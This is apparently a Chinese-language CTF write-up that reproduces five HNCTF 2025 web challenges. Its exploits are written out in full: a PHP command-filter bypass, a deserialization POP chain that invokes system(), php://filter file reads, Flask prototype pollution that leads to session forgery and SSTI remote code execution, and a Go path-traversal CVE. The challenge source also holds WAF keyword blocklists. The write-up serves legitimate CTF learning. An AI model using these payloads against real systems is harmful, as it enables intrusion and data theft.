HNCTF-2025-部分web复现

Really_Ez_Rce

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
error_reporting(0);

if (isset($_REQUEST['Number'])) {
$inputNumber = $_REQUEST['Number'];

if (preg_match('/\d/', $inputNumber)) {
die("不行不行,不能这样");
}

if (intval($inputNumber)) {
echo "OK,接下来你知道该怎么做吗";

if (isset($_POST['cmd'])) {
$cmd = $_POST['cmd'];

if (!preg_match(
'/wget|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\\*|sort|zip|mod|sl|find|sed|cp|mv|ty|php|tee|txt|grep|base|fd|df|\\\\|more|cc|tac|less|head|\.|\{|\}|uniq|copy|%|file|xxd|date|\[|\]|flag|bash|env|!|\?|ls|\'|\"|id/i',
$cmd
)) {
echo "你传的参数似乎挺正经的,放你过去吧<br>";
system($cmd);
} else {
echo "nonono,hacker!!!";
}
}
}
}

首先是请求参数Number,限制其不能含有数字,并且还要利用intval()转化成整数的返回值要为真,才能继续执行下面的代码,这里可以利用数组绕过,传参时写成Number[]=1的形式,既满足不是纯数字,又满足转化成整数返回值为真

1
?Number[]=1

image-20250608231419706

然后是POST参数cmd,存在WAF对其内容进行限制,这里可以利用空变量$@进行绕过

1
cmd=l$@s /

image-20250608231447876

也可以利用变量拼接绕过

1
cmd=a=l;b=s;$a$b /

image-20250608231545133

然后是读取flag.txt中的flag,虽然cat可以利用上面的方法进行绕过,但是这里把点.也过滤了,这里可以考虑使用base64编码进入绕过

image-20250608231801702

1
cmd=echo Y2F0IC9mKg== | ba$@se64 -d | bas$@h

image-20250608231842610

ez_php

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
error_reporting(0);
class GOGOGO{
public $dengchao;
function __destruct(){
echo "Go Go Go~ 出发喽!" . $this->dengchao;
}
}
class DouBao{
public $dao;
public $Dagongren;
public $Bagongren;
function __toString(){
if( ($this->Dagongren != $this->Bagongren) && (md5($this->Dagongren) === md5($this->Bagongren)) && (sha1($this->Dagongren)=== sha1($this->Bagongren)) ){
call_user_func_array($this->dao, ['诗人我吃!']);
}
}
}
class HeiCaFei{
public $HongCaFei;
function __call($name, $arguments){
call_user_func_array($this->HongCaFei, [0 => $name]);
}
}

if (isset($_POST['data'])) {
$temp = unserialize($_POST['data']);
throw new Exception('What do you want to do?');
} else {
highlight_file(__FILE__);
}
?>

首先是在GOGOGO类中有一个__destruct()魔术方法,会执行下面这个语句,

1
echo "Go Go Go~ 出发喽!" . $this->dengchao;

这里会把$this->dengchao当作字符串调用,刚好可以触发DouBao类中的__toString()魔术方法,在这个方法中会先有个MD5和Sha1强比较,这里可以利用数组绕过,然后执行下面的语句

1
call_user_func_array($this->dao, ['诗人我吃!']);

最后看第三个类HeiCaFei,存在一个__call魔术方法,在调用一个不存在的方法会触发,触发后会执行下面这个语句

1
call_user_func_array($this->HongCaFei, [0 => $name]);

这里可以利用这个代码执行命令,这使用的是call_user_func_array()函数,在这个函数中第一个参数是$this->HongCaFei,会作为函数,这里可以写成system用于后续执行命令

第二个参数是[0 => $name],是将name作为唯一参数传给函数,最后执行这个函数,这里的name是传入魔术方法__call的第一个参数,是不存在的方法名,所以我们要调用的不存在的方法名可以写成要执行的命令

1
throw new Exception('What do you want to do?');

最后还有一个异常函数需要绕过,不绕过代码不会执行,没有回显,可以借鉴文章:https://xz.aliyun.com/news/11289

最后可以得到的绕过方法就是加上下面这个代码

1
$b=array(new B,0);

然后将最后运行得到的序列化数据最后末尾的i:1;i:0;改为i:0;i:0;

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
error_reporting(0);
class GOGOGO{
public $dengchao;

}
class DouBao{
public $dao;
public $Dagongren;
public $Bagongren;
}
class HeiCaFei{
# 设置要执行的函数为 system 从而执行命令
public $HongCaFei = 'system';

}

# 实例化对象
$a =new GOGOGO();
# 利用 GOGOGO 类中的 dengchao 属性调用 DouBao 类
$a->dengchao=new DouBao();
# 将 DouBao 类中的两个要进行比较的属性设置为数组
$a->dengchao->Dagongren=['0'];
$a->dengchao->Bagongren=['1'];
# 这里会将 HeiCaFei 实例化为对象,并且调用其中的名为 cat /ofl1111111111ove4g 方法,从而触发 __call 魔术方法,其中的 cat /ofl1111111111ove4g 会被当作参数传给前面设置好的 system 函数进而执行命令
$a->dengchao->dao=[new HeiCaFei(),'cat /ofl1111111111ove4g'];
# 绕过抛出异常函数
$b = array($a,0);
echo serialize($b);

?>
1
a:2:{i:0;O:6:"GOGOGO":1:{s:8:"dengchao";O:6:"DouBao":3:{s:3:"dao";a:2:{i:0;O:8:"HeiCaFei":1:{s:9:"HongCaFei";s:6:"system";}i:1;s:23:"cat /ofl1111111111ove4g";}s:9:"Dagongren";a:1:{i:0;s:1:"0";}s:9:"Bagongren";a:1:{i:0;s:1:"1";}}}i:1;i:0;}

然后将末尾的i:1;i:0;改为i:0;i:0;

1
data=a:2:{i:0;O:6:"GOGOGO":1:{s:8:"dengchao";O:6:"DouBao":3:{s:3:"dao";a:2:{i:0;O:8:"HeiCaFei":1:{s:9:"HongCaFei";s:6:"system";}i:1;s:23:"cat /ofl1111111111ove4g";}s:9:"Dagongren";a:1:{i:0;s:1:"0";}s:9:"Bagongren";a:1:{i:0;s:1:"1";}}}i:0;i:0;}

image-20250608234249669

DeceptiFlag

随便输入内容利用bp抓包,会发现存在三个参数

image-20250608234648546

image-20250608234753612

题目提示两个答案都要拼音

image-20250608234816997

根据页面的背景猜测值是xiyangyanghuitailang,POST中第二个参数是Lang,猜测值为huitailang,其他俩都是xiyangyang

image-20250608234944948

发送请求后会得到tips.php路径,放包跳转到该路径

image-20250608235058168

image-20250608235133500

并且会发现有个GET参数file,可以利用伪协议读取到flag,在cookie中有个base64编码的提示

image-20250608235532867

1
L3Zhci9mbGFnL2ZsYWcudHh0

image-20250608235552641

可以得到flag的路径是/var/flag/flag.txt

1
/tips.php?file=php://filter/read=convert.base64-encode/resource=/var/flag/flag.txt

image-20250608235636848

1
ZmxhZ3szMzljNjBlYy1iNjYwLTRlNzItYTJhZS01N2VmN2NlMmU0N2N9Cg==

进行base64解码

image-20250608235650368

奇怪的咖啡店

所给附件源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
from flask import Flask, session, request, render_template_string, render_template
import json
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32).hex()

@app.route('/', methods=['GET', 'POST'])
def store():
if not session.get('name'):
session['name'] = ''.join("customer")
session['permission'] = 0

error_message = ''
if request.method == 'POST':
error_message = '<p style="color: red; font-size: 0.8em;">该商品暂时无法购买,请稍后再试!</p>'

products = [
{"id": 1, "name": "美式咖啡", "price": 9.99, "image": "1.png"},
{"id": 2, "name": "橙c美式", "price": 19.99, "image": "2.png"},
{"id": 3, "name": "摩卡", "price": 29.99, "image": "3.png"},
{"id": 4, "name": "卡布奇诺", "price": 19.99, "image": "4.png"},
{"id": 5, "name": "冰拿铁", "price": 29.99, "image": "5.png"}
]

return render_template('index.html',
error_message=error_message,
session=session,
products=products)


def add():
pass


@app.route('/add', methods=['POST', 'GET'])
def adddd():
if request.method == 'GET':
return '''
<html>
<body style="background-image: url('/static/img/7.png'); background-size: cover; background-repeat: no-repeat;">
<h2>添加商品</h2>
<form id="productForm">
<p>商品名称: <input type="text" id="name"></p>
<p>商品价格: <input type="text" id="price"></p>
<button type="button" onclick="submitForm()">添加商品</button>
</form>
<script>
function submitForm() {
const nameInput = document.getElementById('name').value;
const priceInput = document.getElementById('price').value;

fetch(`/add?price=${encodeURIComponent(priceInput)}`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: nameInput
})
.then(response => response.text())
.then(data => alert(data))
.catch(error => console.error('错误:', error));
}
</script>
</body>
</html>
'''
elif request.method == 'POST':
if request.data:
try:
raw_data = request.data.decode('utf-8')
if check(raw_data):
#检测添加的商品是否合法
return "该商品违规,无法上传"
json_data = json.loads(raw_data)

if not isinstance(json_data, dict):
return "添加失败1"

merge(json_data, add)
return "你无法添加商品哦"

except (UnicodeDecodeError, json.JSONDecodeError):
return "添加失败2"
except TypeError as e:
return f"添加失败3"
except Exception as e:
return f"添加失败4"
return "添加失败5"



def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)



app.run(host="0.0.0.0",port=5014)

/add路由中存在原型链污染,具体地方是下面这段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def merge(src, dst):
# 遍历源字典的每个键值对
for k, v in src.items():
# 检查目标对象是否支持索引操作(如字典)
if hasattr(dst, '__getitem__'):
# 处理嵌套字典的递归合并
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
# 直接更新目标对象的值
# 如果目标对象支持索引操作,但值不是字典,或者键不存在,则直接设置新值
else:
dst[k] = v
# 处理目标对象是类实例的情况
# 如果目标对象有对应属性且属性值是字典,则递归合并该属性
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
# 直接设置目标对象的属性
# 如果目标对象有对应属性但值不是字典,或者没有该属性,则直接设置属性值
else:
setattr(dst, k, v)

这里定义一个merge的递归函数,可以将一个字典的内容或字典对象合并到另一个对象中

举个例子,有个源字典src和一个目标对象dst

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
src = {
"name": "咖啡",
"price": 29.99,
"details": {
"origin": "哥伦比亚",
"roast": "medium"
}
}

dst = {
"name": "美式咖啡",
"price": 19.99,
"details": {
"origin": "巴西"
}
}

调用merge(src, dst)这个函数后,会将目标对象变为

1
2
3
4
5
6
7
8
{
"name": "咖啡", # 被源字典覆盖
"price": 29.99, # 被源字典覆盖
"details": {
"origin": "哥伦比亚", # 被源字典覆盖
"roast": "medium" # 新增的键值对
}
}

题目提示源码不完全

image-20250609005905234

在本题中可以利用这个函数进行原型链污染,污染 _static_folder,从而实现任意文件读取,从而获取完整的源码

在 Flask 框架中,static_folder是应用初始化时的一个参数,指定静态文件的存储路径,默认值为项目根目录下的 static 文件夹,如果将其污染为根目录\,就相当于将所有静态文件的存储路径改为根目录,从而可以直接通过URL访问到服务器的所有文件,如通过访问http://xxx.com/etc/passwd直接读取/etc/passwd文件

在 Flask 框架中,在内部实现上,Flask 会把用户传入的 static_folder 参数赋值给 _static_folder 属性,所以我们可以直接污染_static_folder

exp

1
{"__globals__":{"app":{"_static_folder":"/"}}}

访问/add,随便输入商品名称和价格,利用bp进行抓包

image-20250609105512761

发现污染失败,存在waf过滤,对payload进行unicode 编码,注意使用\u005f这种,而不是%u005f,否则不会污染成功

1
{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{"\u0061\u0070\u0070":{"\u005f\u0073\u0074\u0061\u0074\u0069\u0063\u005f\u0066\u006f\u006c\u0064\u0065\u0072":"\u002f"}}}

image-20250609105534573

回显 “ 你无法添加商品 ” 是因为以下代码,无论是否污染成功都会回显这句话

1
2
merge(json_data, add)
return "你无法添加商品哦"

回到浏览器就可以通过 URL 直接访问服务器文件,先读完整源码

1
/static/app/app.py

image-20250609105756682

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
from flask import Flask, session, request, render_template_string, render_template
import json
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32).hex()

@app.route('/', methods=['GET', 'POST'])
def store():
if not session.get('name'):
session['name'] = ''.join("customer")
session['permission'] = 0

error_message = ''
if request.method == 'POST':
error_message = '<p style="color: red; font-size: 0.8em;">该商品暂时无法购买,请稍后再试!</p>'

products = [
{"id": 1, "name": "美式咖啡", "price": 9.99, "image": "1.png"},
{"id": 2, "name": "橙c美式", "price": 19.99, "image": "2.png"},
{"id": 3, "name": "摩卡", "price": 29.99, "image": "3.png"},
{"id": 4, "name": "卡布奇诺", "price": 19.99, "image": "4.png"},
{"id": 5, "name": "冰拿铁", "price": 29.99, "image": "5.png"}
]

return render_template('index.html',
error_message=error_message,
session=session,
products=products)


def add():
pass


@app.route('/add', methods=['POST', 'GET'])
def adddd():
if request.method == 'GET':
return '''
<html>
<body style="background-image: url('/static/img/7.png'); background-size: cover; background-repeat: no-repeat;">
<h2>添加商品</h2>
<form id="productForm">
<p>商品名称: <input type="text" id="name"></p>
<p>商品价格: <input type="text" id="price"></p>
<button type="button" onclick="submitForm()">添加商品</button>
</form>
<script>
function submitForm() {
const nameInput = document.getElementById('name').value;
const priceInput = document.getElementById('price').value;

fetch(`/add?price=${encodeURIComponent(priceInput)}`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: nameInput
})
.then(response => response.text())
.then(data => alert(data))
.catch(error => console.error('错误:', error));
}
</script>
</body>
</html>
'''
elif request.method == 'POST':
if request.data:
try:
raw_data = request.data.decode('utf-8')
if check(raw_data):
#检测添加的商品是否合法
return "该商品违规,无法上传"
json_data = json.loads(raw_data)

if not isinstance(json_data, dict):
return "添加失败1"

merge(json_data, add)
return "你无法添加商品哦"

except (UnicodeDecodeError, json.JSONDecodeError):
return "添加失败2"
except TypeError as e:
return f"添加失败3"
except Exception as e:
return f"添加失败4"
return "添加失败5"


@app.route('/aaadminnn', methods=['GET', 'POST'])
def admin():
if session.get('name') == "admin" and session.get('permission') != 0:
permission = session.get('permission')
if check1(permission):
# 检测添加的商品是否合法
return "非法权限"

if request.method == 'POST':
return '<script>alert("上传成功!");window.location.href="/aaadminnn";</script>'

upload_form = '''
<h2>商品管理系统</h2>
<form method=POST enctype=multipart/form-data style="margin:20px;padding:20px;border:1px solid #ccc">
<h3>上传新商品</h3>
<input type=file name=file required style="margin:10px"><br>
<small>支持格式:jpg/png(最大2MB)</small><br>
<input type=submit value="立即上传" style="margin:10px;padding:5px 20px">
</form>
'''

original_template = 'Hello admin!!!Your permissions are{}'.format(permission)
new_template = original_template + upload_form

return render_template_string(new_template)
else:
return "<script>alert('You are not an admin');window.location.href='/'</script>"




def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)


def check(raw_data, forbidden_keywords=None):
"""
检查原始数据中是否包含禁止的关键词
如果包含禁止关键词返回 True,否则返回 False
"""
# 设置默认禁止关键词
if forbidden_keywords is None:
forbidden_keywords = ["app", "config", "init", "globals", "flag", "SECRET", "pardir", "class", "mro", "subclasses", "builtins", "eval", "os", "open", "file", "import", "cat", "ls", "/", "base", "url", "read"]

# 检查是否包含任何禁止关键词
return any(keyword in raw_data for keyword in forbidden_keywords)


param_black_list = ['config', 'session', 'url', '\\', '<', '>', '%1c', '%1d', '%1f', '%1e', '%20', '%2b', '%2c', '%3c', '%3e', '%c', '%2f',
'b64decode', 'base64', 'encode', 'chr', '[', ']', 'os', 'cat', 'flag', 'set', 'self', '%', 'file', 'pop(',
'setdefault', 'char', 'lipsum', 'update', '=', 'if', 'print', 'env', 'endfor', 'code', '=' ]


# 增强WAF防护
def waf_check(value):
# 检查是否有不合法的字符
for black in param_black_list:
if black in value:
return False
return True

# 检查是否是自动化工具请求
def is_automated_request():
user_agent = request.headers.get('User-Agent', '').lower()
# 如果是常见的自动化工具的 User-Agent,返回 True
automated_agents = ['fenjing', 'curl', 'python', 'bot', 'spider']
return any(agent in user_agent for agent in automated_agents)

def check1(value):

if is_automated_request():
print("Automated tool detected")
return True

# 使用WAF机制检查请求的合法性
if not waf_check(value):
return True

return False


app.run(host="0.0.0.0",port=5014)

有个非预期,直接访问下载得到环境变量文件environ

1
/static/proc/self/environ

image-20250609110425970

下面是预期解

存在黑名单,可以污染掉

1
2
3
param_black_list = ['config', 'session', 'url', '\\', '<', '>', '%1c', '%1d', '%1f', '%1e', '%20', '%2b', '%2c', '%3c', '%3e', '%c', '%2f',
'b64decode', 'base64', 'encode', 'chr', '[', ']', 'os', 'cat', 'flag', 'set', 'self', '%', 'file', 'pop(',
'setdefault', 'char', 'lipsum', 'update', '=', 'if', 'print', 'env', 'endfor', 'code', '=' ]
1
{"__globals__" : {"param_black_list" : ["123"]}}
1
{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{"\u0070\u0061\u0072\u0061\u006d\u005f\u0062\u006c\u0061\u0063\u006b\u005f\u006c\u0069\u0073\u0074":["123"]}}

image-20250609110920198

看到有个/aaadminnn路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
@app.route('/aaadminnn', methods=['GET', 'POST'])
def admin():
if session.get('name') == "admin" and session.get('permission') != 0:
permission = session.get('permission')
if check1(permission):
# 检测添加的商品是否合法
return "非法权限"

if request.method == 'POST':
return '<script>alert("上传成功!");window.location.href="/aaadminnn";</script>'

upload_form = '''
<h2>商品管理系统</h2>
<form method=POST enctype=multipart/form-data style="margin:20px;padding:20px;border:1px solid #ccc">
<h3>上传新商品</h3>
<input type=file name=file required style="margin:10px"><br>
<small>支持格式:jpg/png(最大2MB)</small><br>
<input type=submit value="立即上传" style="margin:10px;padding:5px 20px">
</form>
'''

original_template = 'Hello admin!!!Your permissions are{}'.format(permission)
new_template = original_template + upload_form

return render_template_string(new_template)
else:
return "<script>alert('You are not an admin');window.location.href='/'</script>"

注意其中的这段代码可以打SSTI,设置好permission为payload即可

1
2
3
4
5
6
7
@app.route('/aaadminnn', methods=['GET', 'POST'])
def admin():
if session.get('name') == "admin" and session.get('permission') != 0:
# ...
original_template = 'Hello admin!!!Your permissions are{}'.format(permission)
new_template = original_template + upload_form
return render_template_string(new_template)

要满足session中的nameadminpermission不为0,可以看以下这段代码

1
2
3
4
5
6
7
8
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32).hex()

@app.route('/', methods=['GET', 'POST'])
def store():
if not session.get('name'):
session['name'] = ''.join("customer")
session['permission'] = 0

这里设置了SECRET_KEY是一个随机数,在/路由下会把name设置成customer,把permission设置为0

思路:可以将SECRET_KEY污染成一个具体的固定值,然后利用污染后的SECRET_KEY伪造session,使name为admin,permission为打SSTI的payload,从而可以访问/aaadminnn并进行RCE

首先污染SECRET_KEY为固定值123

1
{"__globals__":{"app":{"config":{"SECRET_KEY":"123"}}}}
1
{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{"\u0061\u0070\u0070":{"\u0063\u006f\u006e\u0066\u0069\u0067":{"\u0053\u0045\u0043\u0052\u0045\u0054\u005f\u004b\u0045\u0059":"123"}}}}

image-20250609114907868

利用污染的SECRET_KEY进行 Flask 框架的伪造session,利用工具

项目地址:https://github.com/noraj/flask-session-cookie-manager

先对原本的session进行解密

1
python flask_session_cookie_manager3.py decode -s "123" -c "eyJuYW1lIjoiY3VzdG9tZXIiLCJwZXJtaXNzaW9uIjowfQ.aEbpMQ.RzfFYnE7I6sqBcZW2R1PfAxTepk"

image-20250609233431087

伪造session,payload如下

1
{'name':'admin','permission':'{{self.__init__.__globals__.__builtins__["__import__"]("os").popen("ls").read()}}'}

记得引号前加上转义符\

1
python flask_session_cookie_manager3.py encode -s "123" -t "{'name':'admin','permission':'{{self.__init__.__globals__.__builtins__[\"__import__\"](\"os\").popen(\"ls\").read()}}'}"

image-20250609233630107

1
.eJwdikEKwzAMBP-ypwRCHtCv1MU4RC0CWTJWcjL-e0VuM8MMaKmEF8pZWbGhUa_szqYRx3CS754zK185B_zEjiL-8HGzXKwh74R4arMeV8JnSTBPWPdmjTRMHutUzmWdE_MP7uEpxw.aEb_UA.s9kkfCZiPU23L_cx1T8oeJW7dms

带着session去访问aaadminnn,这里要GET请求,因为POST请求会执行以下这个代码,直接return结束了

image-20250609234326410

image-20250609233741557

最后就是读4flloog

1
python flask_session_cookie_manager3.py encode -s "123" -t "{'name':'admin','permission':'{{self.__init__.__globals__.__builtins__[\"__import__\"](\"os\").popen(\"cat 4flloog\").read()}}'}"

image-20250609233844327

1
.eJwdijEKwzAMAL9SNCVQMnXqV-JgnEYJAlkyljsZ_z1qt7vjOkjKCG9IRyaBJxSsmcxIxWPvhnwuMZJQi9HhYt0T25_3L3EjcVkD-JOLVr8CbFMAtQDzUrSguH1Se7xOZtXrlyumY5rHgHEDepYs9w.aEb__w.ysJemF9lVPOQ2ZAmDzVGxQwgR4I

image-20250609233907029

Watch

image-20250609143023409

提示flag在D盘中(其实是key),带上Token访问赛题环境

image-20250609143121394

可以进行文件读取

1
\appcompat

image-20250609143214598

尝试直接目录穿越到D盘,不过失败

1
..\d:

image-20250609144745587

在所给附件中的go.mod文件中可知GO版本是1.20,该版本存在一个CVE漏洞:CVE-2023-45283

就是\??\c:\x会被当作c:\x,所以可以构造出\??\d:\,即d:\,前面进行一次目录穿越从而进入d盘

1
..\??\d:\

image-20250609144932486

访问读取key.txt文件

1
..\??\d:\key.txt

image-20250609145023413

得到key

1
19f81472-eb71-4d64-ad38-0892f0cd4846

image-20250609145103648


HNCTF-2025-部分web复现
https://yschen20.github.io/2025/06/10/H&NCTF-2025-部分web复现/
作者
Suzen
发布于
2025年6月10日
更新于
2025年6月10日
许可协议